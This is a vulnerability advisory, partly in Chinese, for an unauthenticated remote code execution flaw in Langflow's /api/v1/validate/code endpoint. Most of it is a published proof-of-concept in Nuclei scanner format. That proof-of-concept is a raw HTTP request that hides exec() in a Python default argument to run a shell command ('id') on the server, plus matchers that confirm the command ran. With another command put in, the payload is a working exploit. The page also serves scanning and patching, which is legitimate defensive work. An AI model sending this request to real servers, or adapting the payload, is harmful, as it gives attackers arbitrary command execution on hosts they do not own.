CVE-2026-0768: Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

Langflow <= 1.2.x exposes POST /api/v1/validate/code without any authentication. The endpoint calls validate_code() which exec()s user-supplied Python code. Default-argument expressions in Python execute at function-definition time, allowing arbitrary OS command execution without authentication.

PoC代码[已公开]

id: CVE-2026-0768

info:
  name: Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code
  author: DhiyaneshDk
  severity: critical
  description: |
    Langflow <= 1.2.x exposes POST /api/v1/validate/code without any authentication. The endpoint calls validate_code() which exec()s user-supplied Python code. Default-argument expressions in Python execute at function-definition time, allowing arbitrary OS command execution without authentication.
  impact: |
    An unauthenticated attacker can execute arbitrary OS commands on the server running Langflow.
  remediation: |
    Upgrade Langflow to a version that requires authentication on the validate/code endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0768
    - https://www.pruva.dev/reproductions/REPRO-2026-00342
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0768
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    vendor: langflow-ai
    product: langflow
  tags: cve,cve2026,langflow,rce,code-injection,unauth

http:
  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "uid=", "gid=", "function")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '(uid=[0-9]+\([a-z_]+\)[^ ]*)'
# digest: 490a0046304402205ea172a5fc62932283567652223d2bb6ec747a5e4d6dbd2ed8f2f44312cd9d3d02201fd87d9157e5dbd45b8c4df50f459b32b8cc8c18675ab18fab41f7351c357adf:922c64590222798bb761d5b6d8e72950